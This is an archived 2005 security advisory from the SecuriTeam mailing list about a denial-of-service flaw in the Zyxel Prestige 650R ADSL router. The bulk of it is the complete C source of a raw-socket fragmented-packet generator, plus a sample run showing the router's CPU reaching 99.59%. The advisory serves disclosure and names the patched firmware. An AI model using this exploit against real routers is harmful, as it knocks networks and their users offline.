Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] Prestige 650R ADSL Router DoS

Subject: [NEWS] Prestige 650R ADSL Router DoS
Date: 26 May 2005 18:15:58 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Prestige 650R ADSL Router DoS
------------------------------------------------------------------------


SUMMARY

 <ww.zyxel.com> Zyxel Prestige 600 Series is "a Popular ADSL Modem and 
Router".

Prestige 600 fails to handle malformed fragmented IP packets. Whenever 
Prestige stumbles upon such packets its CPU usage will spike to 100% thus 
causing denial of service.

DETAILS

Vulnerable Systems:
 * Prestige 650R-31 running ZyNOS FireWall version 3.40(KO.1)

Immune Systems:
 * ZyNOS FireWall version 3.40(GT.5)

Vendor Status:
The vendor claims its not a vulnerability, that is rather a "Hardware 
Limitation". But seems an the last release of it's firmware fixed the 
problem.

Patch Availability:
Upgrade the firmware to V3.40(GT.5)

Disclosure Timeline:
 * 05.02.05 - Initial vendor notification
 * 05.03.05 - Initial vendor response
 * 05.08.05 - Vendor determined as a HW limitation
 * 05.10.05 - No response from vendor to several mails

Exploit:
Any IP crafting tool will do the job, in this case we used a fragmented ip 
generator coded by Fryx:
/*
* frag
* by: Fryxar
* e-mail: fryxar@yahoo.com.ar
*
* Fragment ICMP packet generator
*/

#include<stdio.h>
#include<netdb.h>
#include<stdlib.h>
#include<errno.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/ip.h>
#include<netinet/ip_icmp.h>

#define ERROR(msg) {perror(msg); exit -1;}

#define FRAGS_ALL 0
#define FRAGS_ODD 1
#define FRAGS_EVEN 2

int open_packet() {
int s, on = 1;
 
  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                ERROR("socket");

   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
                ERROR("setsockopt");
 
return s;
}

unsigned short in_cksum(unsigned short *addr,int len)
{
        register int sum = 0;
        u_short answer = 0;
        register u_short *w = addr;
        register int nleft = len;
 
        /*
         * Our algorithm is simple, using a 32 bit accumulator (sum), we 
add
         * sequential 16 bit words to it, and at the end, fold back all 
the
         * carry bits from the top 16 bits into the lower 16 bits.
         */
        while (nleft > 1) {
                sum += *w++;
                nleft -= 2;
        }
 
        /* mop up an odd byte, if necessary */
        if (nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
 
        /* add back carry outs from top 16 bits to low 16 bits */
        sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
        sum += (sum >> 16); /* add carry */
        answer = ~sum; /* truncate to 16 bits */
        return(answer);
}

int send_packet(int s, struct sockaddr_in saddr, struct sockaddr_in daddr, 
int protocol, char frags, int id, int frag_len, int tot_len) {
unsigned char packet[IP_MAXPACKET];
struct iphdr *iphdr;
struct icmphdr *icmphdr;
int offset, length;
int start, step;

   switch(frags) {
   case FRAGS_ALL:
      start = 0;
      step = (frag_len<<3);
      break;
   case FRAGS_EVEN:
      start = 0;
      step = 2*(frag_len<<3);
      break;
   case FRAGS_ODD:
      start = (frag_len<<3);
      step = 2*(frag_len<<3);
      break;
   }

   memset(packet, 0, IP_MAXPACKET);
   length = sizeof(struct iphdr) + (frag_len<<3);
   
   iphdr = (struct iphdr *)packet;
   icmphdr = (struct icmphdr *)(packet + sizeof(struct iphdr));

        iphdr->ihl = 5;
        iphdr->version = IPVERSION;
        iphdr->tot_len = htons(length);
        iphdr->id = htons(id);
        iphdr->ttl = IPDEFTTL;
        iphdr->protocol = protocol;
        iphdr->saddr = saddr.sin_addr.s_addr;
        iphdr->daddr = daddr.sin_addr.s_addr;

   for(offset = start; offset < tot_len; offset += step) {

      if(offset) {
                   // Not first fragment
         iphdr->frag_off = htons(offset>>3);
         bzero(packet + sizeof(struct iphdr), IP_MAXPACKET
                                                                 - 
sizeof(struct iphdr));
      } else {
                        // First fragment
         iphdr->frag_off = 0;
                        if(protocol == IPPROTO_ICMP) {
            icmphdr->type = ICMP_ECHO;
            icmphdr->code = 0;
            icmphdr->un.echo.id = 0;
            icmphdr->un.echo.sequence = 0;
            icmphdr->checksum = (unsigned short)in_cksum((unsigned short 
*)icmphdr, tot_len);
         }
     }

     if(offset + (frag_len<<3) < tot_len) {
        iphdr->frag_off |= htons(IP_MF);
     } else {
        length = sizeof(struct iphdr) + tot_len - offset;
        iphdr->tot_len = htons(length);
     }
  

      iphdr->check = (unsigned short)in_cksum((unsigned short *)iphdr, 
sizeof(struct iphdr));

      if(sendto(s, packet, length, 0x0, (struct sockaddr *)&daddr, 
sizeof(struct sockaddr)) != length)
          ERROR("sendto");
   }
}

void usage(char *program) {
   fprintf(stderr, "frag v"VERSION"\n"
      "usage: %s [options] <source_host> <destination_host>\n\n"
      "options:\n"
      " -i <id> Starting session id (range: 1-65535)\n"
      " -s <fragmentsize> Fragments size (x 8)\n"
      " -l <packetsize> Total packet size\n"
      " -t <type> Set send policity (odd|even|all)\n"
      " -p <protocol> Set protocol (tcp|udp|icmp...)\n"
      " -a <n> Amount of packet to send\n"
      "\ndefault:\n"
      "%s -i 1 -t all -s 7 -p icmp -l 64000 -a 1 my_host.com 
your_host.com\n"
      "\n", program, program);
exit(-1);
}


int main(int argc, char *argv[]) {
char *shost, *dhost;
struct hostent *hostentry;
struct sockaddr_in saddr, daddr;
struct protoent *protoent;
int s, i;
int id = 1, size = 7, len = 64000, amount = 1;
int protocol = IPPROTO_ICMP, type = FRAGS_ALL;

  if(argc < 3) usage(argv[0]);

   while((i = getopt(argc, argv, "a:i:s:l:t:p:")) != -1) {
      switch(i) {

         case 'i':
            if(strlen(optarg) == 0) usage(argv[0]);
            id = atoi(optarg);
         break;

         case 's':
            if(strlen(optarg) == 0) usage(argv[0]);
            size = atoi(optarg);
         break;

         case 'a':
            if(strlen(optarg) == 0) usage(argv[0]);
            amount = atoi(optarg);
         break;

         case 'l':
            if(strlen(optarg) == 0) usage(argv[0]);
            len = atoi(optarg);
         break;

         case 't':
            if(!memcmp(optarg, "odd", 4)) type = FRAGS_ODD;
                                else if(!memcmp(optarg, "even", 5)) type = 
FRAGS_EVEN;
                                else if(!memcmp(optarg, "all", 4)) type = 
FRAGS_ALL;
                                else usage(argv[0]);
         break;

         case 'p':
            if((protoent=getprotobyname(optarg)) == NULL) usage(argv[0]);
                                protocol = protoent->p_proto;
         break;

                        default:
                           usage(argv[0]);
                                break;
                }
        }
  
  shost = argv[argc-2];
  dhost = argv[argc-1];

// Source address
    if((hostentry = gethostbyname(shost)) == NULL) ERROR("gethostbyname 
source address");
    memset(&saddr, 0, sizeof(struct sockaddr));
    saddr.sin_family = AF_INET;
    saddr.sin_addr = *((struct in_addr *)hostentry->h_addr);

// Destination address
    if((hostentry = gethostbyname(dhost)) == NULL) ERROR("gethostbyname 
destination address");
    memset(&daddr, 0, sizeof(struct sockaddr));
    daddr.sin_family = AF_INET;
    daddr.sin_addr = *((struct in_addr *)hostentry->h_addr);

// MAIN
    s = open_packet();

         for(i = 0; i < amount; i++) {
            printf("Sending packets with ID %d (frags length=%d, total 
length=%d)\n",
                                                          (id + i)%65535, 
(size<<3), len);
       send_packet(s, saddr, daddr, protocol, type, (id + i)%65535, size, 
len);
         }

    close(s);

return(0);
}

Example:
root@r2d2:~/infobyte# ping 192.168.1.252
PING 192.168.1.252 (192.168.1.252): 56 octets data
64 octets from 192.168.1.252: icmp_seq=0 ttl=254 time=2.5 ms
64 octets from 192.168.1.252: icmp_seq=1 ttl=254 time=2.3 ms
--- 192.168.1.252 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
  
 -Prestige Status (Normal)
  Ethernet:
     Status: 100M/Full Duplex Tx Pkts: 71
     Collisions: 0 Rx Pkts: 164
   CPU Load = 4.09%

root@r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l 64000 -a 
1 170.1.2.3 192.168.1.252
Sending packets with ID 1 (frags length=56, total length=64000)
root@r2d2:~/infobyte# ping 192.168.1.252
PING 192.168.1.252 (192.168.1.252): 56 octets data
64 octets from 192.168.1.252: icmp_seq=50 ttl=254 time=1002.3 ms
64 octets from 192.168.1.252: icmp_seq=51 ttl=254 time=7.7 ms
-- 192.168.1.252 ping statistics ---
51 packets transmitted, 2 packets received, 93% packet loss
 
  -Prestige Status (During the denial)
    Ethernet:
     Status: 100M/Full Duplex Tx Pkts: 71
     Collisions: 0 Rx Pkts: 164
   CPU Load = 99.59%


ADDITIONAL INFORMATION

The information has been provided by  <mailto:fedek@infobyte.com.ar> 
Federico Kirschbaum.
The original article can be found at:  <http://www.infobyte.com.ar> 
http://www.infobyte.com.ar



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] Prestige 650R ADSL Router DoS, SecuriTeam <=